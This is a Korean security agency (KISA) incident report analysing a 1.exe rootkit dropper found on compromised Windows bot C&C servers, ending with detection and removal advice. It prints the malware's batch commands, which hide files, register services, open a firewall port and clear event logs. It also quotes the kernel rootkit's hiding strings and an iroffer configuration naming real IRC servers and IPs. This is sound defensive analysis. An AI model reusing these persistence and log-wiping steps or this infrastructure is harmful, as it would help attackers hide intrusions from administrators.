2007. 1. 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 를명시하여주시기바랍니다.
1. 개요 최근윈도우즈해킹동향은공격에성공한후시스템에다운로드된악성프로그램 (Bot, 백도어등 ) 파일및실행된악성네트워크 / 프로세스정보를숨기기위해루트킷이연동되고있다. 한국정보보호진흥원 ( 이하 KISA ) 은국내봇C&C서버활동을탐지하던중동일한패턴을나타내는시스템을여럿감지하였다. 서버들을분석한결과동일한증상을보였고 1.exe( 윈도우 2000) 라는프로그램을통해데이터다운로더, 커널루트킷, 서비스등록관련프로그램이실행되는것으로확인이되었다. 본고에서는이번에발견한 1.exe 루트킷프로그램의특징과조사내용을정리하였다. 2. 루트킷조사 1) 전체개요 1.exe 실행순서를종합구성해보면아래와같다. ( 그림 1) 전체개요도 - 1 -
2) 1.exe 조사 첫번째로조사한 1.exe 의특징은다음과같다. - 압축 : "instyler ex-it! Self-Extractor" - 기능 : RECYCLER 디렉터리에관련파일들압축해제 config.exe를실행하여악성프로그램세팅및실행 - 관련파일 : 그림 2 1.exe의압축해제참조 1.exe 바이너리는모든악성프로그램들을압축된형태로지니고있고압축해제후 config.exe를통하여악성프로그램들을시스템에등록 / 실행하게된다. C:\RECYCLER 는관리가소홀하고디렉터리속성이디폴트로운영체제파일로지정되어있어관리자의눈을피할수있다. 아래그림과같이 C:\RECYCLER에관련파일들을압축해제한다. ( 그림 2) 1.exe 의압축해제 관련파일들압축해제가끝나면 ShellExecute 함수를통해아래그림과같이 config.exe를실행하게된다. - 2 -
( 그림 3) config.exe 실행 3) config.exe 조사 config.exe 특징은다음과같다. - 압축 : 없음 - 기능 : 악성프로그램들을실행하는배치파일을생성하고실행 - 관련파일 : c:\documents~1\kisa\locals~1\temp\bt0312.bat config.exe 바이너리를디버거를통하여확인한결과 c:\documents~1\kisa\locals~1\temp\bt0312.bat 배치파일을생성한다. 또한아래그림과같이 CreateProcess함수로 cmd 명령어를이용 bt0312.bat 파일을실행한다. ( 그림 4) bt0312.bat 실행 - 3 -
bt0312.bat 파일의스크립트는다음과같은순서로악성프로그램들을순차적으로 시스템에등록및실행하게된다. 1 mkdir "C:\Recycler\S-1-5-21-3127...\_restore.." C:\Recycler 는보호되는운영체제디렉터리로탐색기의도구-옵션에서관련부분을체크해서확인하지않는이상생성되는루트킷홈디렉터리를찾기가쉽지않다. 생성되는디렉터리명 : "C:\Recycler\S-1-5-21-3127994617-2291869382-1739915505-1006\_restore{DIWJDS7S-C329-32 42-91EC-D2SD72C70D82}\ 2 move C:\recycler\msprexe.exe "C:\Recycler\S-1-5-21-3127...\_restore.." 모든프로그램및파일들을앞서생성한루트킷홈디렉터리로이동시킨다. 3 C:\recycler\dtreg.exe -AddKey "\HKLM\SOFTWARE\Sublime Solutions\TaskDaemon" 레지스트리를등록하는 dtreg.exe 프로그램을이용해서 taskdaemon 프로그램을레지스트리에등록시킨다. 4 taskdaemon.exe -i DirIndex.xml taskdaemon.exe -i ProfileMgr.xml 서비스등록프로그램인 taskdaemon을이용 logongui.exe를 DirIndex 서비스명으로등록하고 msprexe.exe를 ProfileMgr 서비스명으로등록한다. 5 C:\recycler\control.exe control.exe 실행 4] control.exe 조사 특징은다음과같다. - 압축 : PECompact 2.x - 기능 : 악성프로그램들을실행하는배치파일을생성하고실행 - 관련파일 : C:\Documents~1\kisa\Locals~1\Temp\bt4607.bat control.exe 바이너리를디버거를통하여확인한결과 - 4 -
c:\documents~1\kisa\locals~1\temp\bt4607.bat 배치파일을생성한다. 또한아래 그림같이 CreateProcess함수로 cmd 명령어를이용 bt4607.bat 파일을실행한다. ( 그림 5) bt4607.bat 실행 bt4607.bat 파일의스크립트는다음과같은순서로악성프로그램들을순차적으로시스템에등록및실행하게된다. 1 move C:\recycler\config.exe "C:\Recycler\S-1-5-21-3127...\_restore.." move C:\recycler\control.exe "C:\Recycler\S-1-5-21-3127...\_restore.." 루트킷프로그램들을세팅하고실행했던 config와 control 파일을루트킷홈디렉터리로이동시킨다. 2 rename control.exe system.ocx rename config.exe settings.ocx 2개의루트킷제어프로그램파일명을변경해놓는다. 3 attrib +s +h C:\Recycler\* /S /D 관리자눈에쉽게띄지않도록디렉터리와파일들속성을숨김 (Hidden)/ 시스템 (System) 으로변경한다. 4 NetSec.exe 커널루트킷모듈을로딩하고제어하는프로그램실행 ( 자세한내용은 NetSec.exe에서설명 ) 5 net start ProfileMgr net start DirIndex - 5 -
logongui.exe, msprexe.exe를실행하는서비스를시작한다. 6 fclear.exe all 현재까지발생했던이벤트로그를모두삭제한다. 5) NetSec.exe 조사 특징은다음과같다. - 압축 : PECompact 2.x - 기능 : 커널루트킷모듈로딩및제어, 서비스등록, 레지스트리등록 - 관련파일 : netsec.sys NetSec 프로그램은봇 C&C 서버가사용하는포트를클라이언트들이접속할수있도록아래와같은 netsh firewall 명령어를통해방화벽을오픈한다. "%cmd%?/c netsh firewall add portopening protocol = TCP port = 27397 name = "Automatic Updates" mode = ENABLE scope = ALL profile = ALL" 이후 NetSecManager라는서비스등록을위해관련된레지스트리등록을하고아래그림처럼 CreateService 함수를통해 NetSec.exe를실행하는 NetSecManager 서비스를등록한다. ( 그림 6) NetSecManager 서비스등록 서비스등록후곧바로 StartService 함수를통해 NetSecManager 서비스를실행해 NetSec.exe를다시실행하게된다. NetSec.sys 모듈을생성해커널에로딩하고아래와같은레지스트리에 sys 파일을등록한다. - 6 -
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NetSecDriver 커널루트킷은 API 함수들을후킹하여원하는파일 / 프로세스 / 네트워크정보들을감추게되는데디버깅을통해다음과같은문자열을정보들을확인할수있었다. 하지만인코딩되어저장되어있는문자열정보들이있어숨겨진문자열들은더많을것으로예상할수있다. 00406865 mov edx, NetSec.00407A14 ASCII "[HIDDEN TABLE]" 00406926 sub ebx, NetSec.00413EBC ASCII "_restore{diwjds7s-c329-3242-91ec-d2sd72c70d82}" 00406932 mov ebx, NetSec.00423EBC ASCII "NetSec.exe" 0040699D mov edx, NetSec.00407A2C ASCII "[HIDDEN PROCESSES]" 00406A5E sub ebx, NetSec.00423EBC ASCII "NetSec.exe" 00406A6A mov ebx, NetSec.00433EBC ASCII "TASKDAEMON*" 00406AD5 mov edx, NetSec.00407A48 ASCII "[ROOT PROCESSES]" 00406BB2 sub ebx, NetSec.00433EBC ASCII "TASKDAEMON*" 00406BBE mov ebx, NetSec.00443EBC ASCII "DIRINDEX" 00406D19 sub ebx, NetSec.00443EBC ASCII "DIRINDEX" 00406D25 mov ebx, NetSec.00453EBC ASCII "DIRINDEX" 00406D90 mov edx, NetSec.00407A64 ASCII "[HIDDEN REGKEYS]" 00406F27 sub ebx, NetSec.00453EBC ASCII "DIRINDEX" 00406F9E mov edx, NetSec.00407A80 ASCII "[HIDDEN REGVALUES]" 0040706B mov ebx, NetSec.00473EBC ASCII " Device HarddiskVolume1*" 004070D6 mov edx, NetSec.00407A9C ASCII "[FREE SPACE]" 00407149 push NetSec.00407AB4 ASCII ". " 00407315 sub ebx, NetSec.00473EBC ASCII " Device HarddiskVolume1*" 00407436 mov eax, NetSec.00407ADC ASCII "TCPI:" 0040744D mov eax, NetSec.00407AEC ASCII "TCPO:" 00407466 mov eax, NetSec.00407AFC ASCII "UDP:" 6) taskdaemon.exe 조사 특징은다음과같다. - 압축 : PECompact 2.x - 기능 : xml을이용한서비스등록프로그램 - 관련파일 : taskdaemonrt.dll libxml2.dll taskdaemon.dtd DirIndex.xml ProfileMgr.xml - 7 -
taskdaemon은 xml을이용해서비스를등록하는프로그램이다. bt0312.bat 배치스 크립트에서수행하는명령어를확인해보면 taskdaemon.exe -i DirIndex.xml 명령어로 -i 인스톨옵션을통해서아래 DirIndex.xml, ProfileMgr.xml에정의되어있는 logongui.exe, msprexe.exe 프로그램을실행하는서비스를등록시킨다. 실행모드를 Automatic" 으로설정해시스템이재부팅되더라도재시작되도록설정한다. - DirIndex.xml 서비스명 : DirIndex 실행프로그램 : logongui.exe 실행모드 : "Automatic" <?xml version="1.0" encoding="utf-8" standalone="no"?> <!DOCTYPE Service SYSTEM "taskdaemon.dtd"> <Service> <Program> <Name>DirIndex</Name> <DisplayName>Directory Index Manager</DisplayName> <DisplayNamePrefix></DisplayNamePrefix> <Description>Directory indexing service for file integrity management.</description> <WorkingDir>C:\Recycler\S-1-5-21-3127994617-2291869382-1739915505-1006\_restore{DIWJDS7S-C329-3242-91EC- D2SD72C70D82}\com1\RP00</WorkingDir> <Executable>C:\Recycler\S-1-5-21-3127994617-2291869382-1739915505-1006\_restore{DIWJDS7S-C329-3242-91EC- D2SD72C70D82}\com1\RP00\logongui.exe</Executable> </Program> <Options> <AffinityMask>0</AffinityMask> <Priority>0</Priority> <EventLogging>false</EventLogging> <InteractWithDesktop>false</InteractWithDesktop> <PreLaunchDelay>0</PreLaunchDelay> <StartUpMode>1</StartUpMode> <UponExit>1</UponExit> <ShutdownDelay>5000</ShutdownDelay> <ShowWindow>0</ShowWindow> <JobType>1</JobType> </Options> </Service> - 8 -
- ProfileMgr.xml 내용 서비스명 : ProfileMgr 실행프로그램 : msprexe.exe 실행모드 : "Automatic" <?xml version="1.0" encoding="utf-8" standalone="no"?> <!DOCTYPE Service SYSTEM "taskdaemon.dtd"> <Service> <Program> <Name>ProfileMgr</Name> <DisplayName>Profile Manager</DisplayName> <DisplayNamePrefix></DisplayNamePrefix> <Description>Assembles information about your system for various system utilities such as Control Pannel and My Computer.</Description> <WorkingDir>C:\Recycler\S-1-5-21-3127994617-2291869382-1739915505-1006\_restore{DIWJDS7S-C329-3242-91EC- D2SD72C70D82}\com1\RP00</WorkingDir> <Executable>C:\Recycler\S-1-5-21-3127994617-2291869382-1739915505-1006\_restore{DIWJDS7S-C329-3242-91EC- D2SD72C70D82}\com1\RP00\msprexe.exe</Executable> <Parameters>dhtml.c.dll</Parameters> <Delay>5000</Delay> <ConsoleApp>false</ConsoleApp> <ForceReplace>true</ForceReplace> </Program> <Options> <AffinityMask>0</AffinityMask> <Priority>0</Priority> <EventLogging>false</EventLogging> <InteractWithDesktop>false</InteractWithDesktop> <PreLaunchDelay>0</PreLaunchDelay> <StartUpMode>1</StartUpMode> <UponExit>1</UponExit> <ShutdownDelay>5000</ShutdownDelay> <ShowWindow>0</ShowWindow> <JobType>1</JobType> </Options> </Service> 8) logingui.exe 조사 특징은다음과같다. - 압축 : 없음 - 기능 : ServU FTP 서버프로그램, 43958 포트를통해서비스 - 관련파일 : - 9 -
libeay32.dll ssleay32.dll wbemup32.dll wmspdscore.dll winservices.dll ( 설정파일 ) WindowsStartFnc.dll ( 로그파일 ) logongui.exe 프로그램은포트 43958번을이용한 ServU FTP 서버프로그램이다. 위의관련파일에서 libeay32.dll, ssleay32.dll을제외한나머지 DLL파일들은실제라이브러리파일이아니고일반텍스트파일을확장자만 dll로생성시켜놓은것들이다. winservices.dll 파일은 ftp 환경설정파일이고 WindowsStartFnc.dll은로그파일이다. 나머지 2개파일은암호화키등록파일들이다. - winservices.dll [GLOBAL] Version=5.0.0.0 ProcessID=1720 - WindowsStartFnc.dll Tue 26Sep06 09:19:34 - SrvFTP FTP Server v5.0 (5.0.0.0) - Copyright (c) 1995-2004 Cat Soft, All Rights Reserved - by Rob Beckers Tue 26Sep06 09:19:34 - Cat Soft is an affiliate of Rhino Software, Inc. Tue 26Sep06 09:19:34 - Using WinSock 2.0 - max. 32767 sockets Tue 26Sep06 09:19:35 - PROBLEM: Unable to load the SSL certificate (file SERVUCERT.CRT) - No SSL support Tue 26Sep06 09:19:35 - FTP Server listening on port number 43958, IP 127.0.0.1 Tue 26Sep06 09:19:35 - Valid registration key found 9) msprexe.exe 조사 특징은다음과같다. - 압축 : UPX 0.89.6-1.02 - 기능 : iroffer 프로그램, IRC 사용자들에게파일제공및데이터전송 - 관련파일 : cygcrypt-0.dll cygwin1.dll MSVCP60.dll dhtml.c.dll ( 상태로그파일 ) - 10 -
winhlp.dll ( 환경설정파일 ) msprexe.exe는 iroffer 프로그램명을변경한바이너리로 TCP/UDP 포트를이용해서 IRC 클라이언트들에게데이터를제공해준다. msprexe.exe 프로그램을실행하면 winhlp.dll 파일이생성되고이파일은 DLL과상관없는 iroffer 로그파일이다. 실행된후 dhtml.c.dll 환경설정파일을통해 IRC 서버에접속을시도하고접속이되면관련된세팅값으로채널에등록한다. - winhlp.dll IRFR ꠑ ꠑ Liroffer v1.3.b09 [20040823145936], CYGWIN_NT-5.0 1.5.12(0.116/4/2) 또하나의 DLL 파일이존재하는데 dhtml.c.dll은환경설정파일로세팅에필요한정보들이존재한다. - dhtml.c.dll statefile winhlp.dll logstats no logrotate none logfile winlog.dll connectionmethod direct server alldramairc.esylum.net 55493 server alldramairc.esylum.net 65535 server alldramairc.esylum.net 1100 server irc.esylum.net 6667 server irc.esylum.net 6669 server irc.esylum.net 1200 server alldramairc.esylum.net server Prynix.esylum.net server Buyashell.esylum.net server fire-com.esylum.net server xplycyt.esylum.net server 420.esylum.net server BSDAxis.esylum.net server 66.207.166.20 server 66.252.29.237 server 72.20.27.54 server 64.18.148.188 server 66.29.46.17 server 66.207.166.19 channel #esy-tzt -plist 30 user_realname XdCc user_modes +ix loginname WaReZ nickserv_pass h4x3d - 11 -
slotsmax 3 queuesize 100 maxtransfersperperson 1 maxqueueditemsperperson 1 restrictlist yes restrictprivlist yes restrictprivlistmsg Negative Sir restrictsend yes downloadhost *!*@* creditline ꠓꠗ4,1(?? 만.-ꠗ0,1> ꠗ4,1?ꠗ0,1 EsYluM ꠗ4,1?ꠗ0,1<ꠗ4,1-. 만. 럽? adminhost *hijacked*!*@*.* adminhost *b00*!*@*.* adminhost *meemaw*!*@*.* adminhost *phastman*!*@*.* adminpass AA.RJwBCGdzkA uploadhost [esylum]-*!*@* uploadhost [EsYluM]-*!*@* uploadmaxsize 0 hideos timestampconsole quietmode notifytime 30 nomd5sum filedir c:\recycler\s-1-5-21-3127994617-2291869382-1739915505-1006\_restore{diwjds7s-c329-3242-91ec-d2sd72c70d82}\com2\rp00\ uploaddir c:\recycler\s-1-5-21-3127994617-2291869382-1739915505-1006\_restore{diwjds7s-c329-3242-91ec-d2sd72c70d82}\com2\rp00\ user_nick [Esylum]-NV-16313 9) fclear.exe, dtreg.exe 조사 flcear.exe - 압축 : UPX 0.89.6-1.02 / 1.05-1.24 - 기능 : 이벤트로그삭제프로그램 fclear.exe는 ClearEventLog 프로그램명을변경한바이너리로이벤트로그를삭제하는데사용된다. all 옵션을통해모든로그를제거하며 fclear를옵션없이실행한화면은아래와같다. - 12 -
( 그림 7) fclar.exe 실행화면 dtreg.exe - 압축 : PECompact 2.x - 기능 : 레지스트리등록프로그램 TaskDaemon 프로그램을레지스트리에등록하는데사용되며이후바로삭제된다. 3. 결론및대책 조사결과 1.exe는피해시스템에설치할악성프로그램들을숨기기위해시스템폴더인 C:\RECYLER 폴더하위에실제이름과유사한시스템폴더를생성하였고이후관련악성프로그램들을그폴더로압축해제시킨후하나씩악성프로그램들을실행하였다. 실행된악성프로그램들은자신들의홈디렉터리및포트, 봇 C&C 프로그램, IRC 클라이언트프로그램등의정보를숨겨관리자가쉽게발견하지못하도록하였다. 1.exe 루트킷프로그램을탐지를못하는백신제품들이있어서버관리자들이악성프로그램들의설치여부를확인하지못하고있었다. 이후윈도우 XP 시스템에서도 1.exe 변종인 esyp4.exe를발견했지만이름만변경되었을뿐똑같은기능을하였다. 커널루트킷실행으로관련루트킷프로그램정보들을찾아내기가쉽지가않기때문에공개용커널루트킷탐지프로그램인 IceSword 도구를이용해관련프로그램들의홈디렉터리, 프로세스, 포트정보, 서비스, 레지스트리를찾아내서모두제거해주어야한다. 아래그림은커널루트킷실행서비스인 NetSecManger를찾은후서비스중지및제거해주는화면이다. - 13 -
( 그림 8) 커널루트킷제거 루트킷 1.exe가설치된봇C&C서버피해시스템들은관리자들이소홀하기쉬운개발용서버나자주이용하지않는시스템으로보안패치의미적용, 서버보안설정미실시등으로인해피해를입었다. 또한, 자주사용하지않다보니시스템이악용이되고있는상태에서도이를쉽게발견하지못하였다. 시스템담당자들은본사고사례와같은피해를줄이기위해윈도우자동업데이트기능을반드시사용할것을권장하며, 특히관리의손이미치지않은방치된시스템이없는지확인할필요가있다. - 14 -